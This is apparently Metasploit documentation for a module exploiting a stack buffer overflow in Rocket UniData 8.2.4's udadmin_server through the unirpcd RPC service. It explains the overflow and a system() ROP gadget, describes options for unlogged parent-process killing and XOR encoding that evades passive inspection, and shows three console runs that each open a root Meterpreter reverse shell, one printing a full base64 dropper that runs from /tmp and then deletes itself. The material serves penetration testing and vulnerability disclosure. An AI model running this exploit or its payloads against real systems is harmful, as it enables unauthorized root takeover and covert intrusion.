## Vulnerable Application

Exploits a stack-based buffer overflow in `udadmin_server`, which is the
administrator server for UniData (and possibly other services). It's accessed
via the RPC service `unirpcd`.

The username and password fields are both copied into a stack-based buffer
using a `strcpy`-equivalent function, which has no bounds checking. As a result,
we can write any amount of arbitrary data to the stack, including overwriting
the return address. What's more - the `password` field is encoded by negating
each byte, which means that despite being a `strcpy` overflow, NULL bytes are
actually allowed (but 0xFF bytes are not)!

For our exploit, we found a helpful gadget:

```
  412e25:       48 89 e7                mov    rdi, rsp
  412e28:       e8 a3 56 ff ff          call   4084d0 <system@plt>
```

That will simply pass whatever happens to be on the stack to `system()`.

The vulnerable application is `udadmin_server`, which is an RPC service that's
run as part of `unirpcd`, which powers Rocket Software's UniData application
(among others). The specific software is UniData 8.2.4.3001 for Linux, and
because this is memory corruption, the sha256sums are:

```
  1cae78f2e190fe010b78f793fd98875295928af78e1e7eded5e9702ec08369ad  unirpcd
  5186725bfd4a65b9ca82245702cf387fc5e6c4d4fa4edb9412a9ffebc7400e89  udadmin_server
```

The UniData software can be downloaded for free, but you have to request a demo
copy and wait for an email to arrive. I can provide the installation files if
needed.

The software is distributed as a .zip file, which contains a .tar file:

```
  [ron@unidata unidata]$ unzip Unidata\ Personal\ X86_8.2.4.3001.zip
  Archive:  Unidata Personal X86_8.2.4.3001.zip
    inflating: bin.tar
    inflating: UniData_Hotfix_V824_3001.pdf
    inflating: UniData_Release_Notes_v824.pdf

  [ron@unidata unidata]$ tar -xf bin.tar

  [ron@unidata unidata]$ sudo ./udtsetup

    [default options, set directories]

    CheckLang            Yes
    CheckPerms           No
    Group                sys
    InstallXDEMO         Yes
    LibDir               /home/ron/unidata/unidata/lib
    Startud              Yes
    UdtBin               /home/ron/unidata/unidata/bin
    UdtHome              /home/ron/unidata/unidata
    UnisharedDir         /home/ron/unidata/unishared
    WorkDir              /home/ron/unidata/unidata/work
```

I think it will automatically start the first time you install the software,
but to run it after a reboot (note that this must be done as root):

```
  # export UDTBIN=/home/ron/unidata/unidata/bin
  # export UDTHOME=/home/ron/unidata/unidata
  # export PATH=$PATH:$UDTBIN
  # export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$UDTBIN
  # export LANG=C
  # startud
```

(This module will not work at all against the Windows version)

## Verification Steps

1. Install the application (software and instructions are on Vulnerable Software drive)
1. Start msfconsole
1. Do: `use exploit/linux/misc/unidata_udadmin_password_stack_overflow`
1. Do: set `RHOST`, `LHOST`, and payload if desired
1. Do: `run`
1. You should get a shell.

## Options

### `EXIT_CLEANLY`

Because of how our ROP chain works, it's not possible to exit the application
without crashing.

However, we CAN kill the process with a clean signal when executing our payload,
and that's what this option does. It prepends `kill -TERM $PPID &` to the
shell payload, which kills the parent in a way that's not logged.

The default is `true`.

### `UNIRPC_ENDPOINT`

The RPC endpoint to connect to. The default (`udadmin`) as well as `udadmin82`
should work. It's unlikely anything else will work.

### `UNIRPC_ENCODE_MESSAGES`

A boolean, defined in the `unirpc.rb` mixin, that turns UniRPC's packet-body
encoding on or off. Default is `true`.

In the UniRPC header, there is a bit that enables packet encoding. If set, the
packet body is XOR'd with either 1 or 2, depending on another header field.
While it's not strong encoding by any means, it does hide the exploit from
passive inspection. We set the encoding the XOR'ing with 2 by default.

### `UNIDATA_VERSION`

An enum, used to select the version for targeting.

Currently, the only options are `8.2.4` and `auto`

## Scenarios

### Version 8.2.4 with auto-detection + unix command payload

```
msf6 > use exploit/linux/misc/unidata_udadmin_password_stack_overflow
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp

msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set LHOST ens160
LHOST => ens160

msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set RHOST 10.0.0.198
RHOST => 10.0.0.198

msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set VERBOSE true
VERBOSE => true

msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > exploit

[*] Started reverse TCP handler on 10.0.0.227:4444 
[*] 10.0.0.198:31438 - Running automatic check ("set AutoCheck false" to disable)
[*] 10.0.0.198:31438 - Trying to get version number from service defcs...
[*] 10.0.0.198:31438 - Detected UniRPC version 8.2.4 is running
[!] 10.0.0.198:31438 - The service is running, but could not be validated.
[*] 10.0.0.198:31438 - Using the version number from earlier for targeting: 8.2.4
[*] 10.0.0.198:31438 - Connecting to UniRPC endpoint udadmin
[*] 10.0.0.198:31438 - Authenticating to RPC service as qvvJpicOdkHUbWXb with a stack-overflowing password
[*] 10.0.0.198:31438 - Payload sent
[*] Sending stage (24772 bytes) to 10.0.0.198
[*] Meterpreter session 1 opened (10.0.0.227:4444 -> 10.0.0.198:54566) at 2023-04-11 09:44:21 -0700

meterpreter > getuid
Server username: root
```

### Version 8.2.4 with specific targeting + unix command payload

```
msf6 > use exploit/linux/misc/unidata_udadmin_password_stack_overflow
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp

msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set LHOST ens160
LHOST => ens160

msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set RHOST 10.0.0.198
RHOST => 10.0.0.198

msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set VERBOSE true
VERBOSE => true

msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set UNIDATA_VERSION 8.2.4
UNIDATA_VERSION => 8.2.4
msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > exploit

[*] Started reverse TCP handler on 10.0.0.227:4444 
[*] 10.0.0.198:31438 - Running automatic check ("set AutoCheck false" to disable)
[*] 10.0.0.198:31438 - Trying to get version number from service defcs...
[*] 10.0.0.198:31438 - Detected UniRPC version 8.2.4 is running
[!] 10.0.0.198:31438 - The service is running, but could not be validated.
[*] 10.0.0.198:31438 - Using the version number from UNIDATA_VERSION for targeting: 8.2.4
[*] 10.0.0.198:31438 - Connecting to UniRPC endpoint udadmin
[*] 10.0.0.198:31438 - Authenticating to RPC service as iLlQgwIwNzxAxg with a stack-overflowing password
[*] 10.0.0.198:31438 - Payload sent
[*] Sending stage (24772 bytes) to 10.0.0.198
[*] Meterpreter session 2 opened (10.0.0.227:4444 -> 10.0.0.198:54568) at 2023-04-11 09:46:03 -0700

meterpreter > getuid
Server username: root
```

### Version 8.2.4 with auto-detection + unix dropper payload

```
msf6 > use exploit/linux/misc/unidata_udadmin_password_stack_overflow
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp

msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > show targets

Exploit targets:
=================

    Id  Name
    --  ----
=>  0   Unix Command
    1   Linux Dropper


msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set TARGET 1
TARGET => 1

msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
PAYLOAD => linux/x64/meterpreter/reverse_tcp

msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set LHOST ens160
LHOST => ens160

msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set RHOST 10.0.0.198
RHOST => 10.0.0.198

msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set VERBOSE true
VERBOSE => true

msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > exploit

[*] Started reverse TCP handler on 10.0.0.227:4444 
[*] 10.0.0.198:31438 - Running automatic check ("set AutoCheck false" to disable)
[*] 10.0.0.198:31438 - Trying to get version number from service defcs...
[*] 10.0.0.198:31438 - Detected UniRPC version 8.2.4 is running
[!] 10.0.0.198:31438 - The service is running, but could not be validated.
[*] 10.0.0.198:31438 - Using the version number from earlier for targeting: 8.2.4
[*] 10.0.0.198:31438 - Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAGgEAAAAAAAC8AQAAAAAAAAAQAAAAAAAAajlYDwVIhcB0CEgx/2o8WA8FBHAPBWo5WA8FSIXAdeox/2oJWJm2EEiJ1k0xyWoiQVpqB1oPBUiFwHhRagpBWVBqKViZagJfagFeDwVIhcB4O0iXSLkCABFcCgAA41FIieZqEFpqKlgPBVlIhcB5JUn/yXQYV2ojWGoAagVIiedIMfYPBVlZX0iFwHnHajxYagFfDwVean5aDwVIhcB47f/m>>'/tmp/dlwwX.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/RiEPX' < '/tmp/dlwwX.b64' ; chmod +x '/tmp/RiEPX' ; '/tmp/RiEPX' ; rm -f '/tmp/RiEPX' ; rm -f '/tmp/dlwwX.b64'"]
[*] 10.0.0.198:31438 - Connecting to UniRPC endpoint udadmin
[*] 10.0.0.198:31438 - Authenticating to RPC service as fWPgXoZCdnEix with a stack-overflowing password
[*] 10.0.0.198:31438 - Payload sent
[*] 10.0.0.198:31438 - Command Stager progress - 100.00% done (863/863 bytes)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045348 bytes) to 10.0.0.198
[*] Meterpreter session 3 opened (10.0.0.227:4444 -> 10.0.0.198:54570) at 2023-04-11 09:48:08 -0700

meterpreter > getuid
Server username: root
```
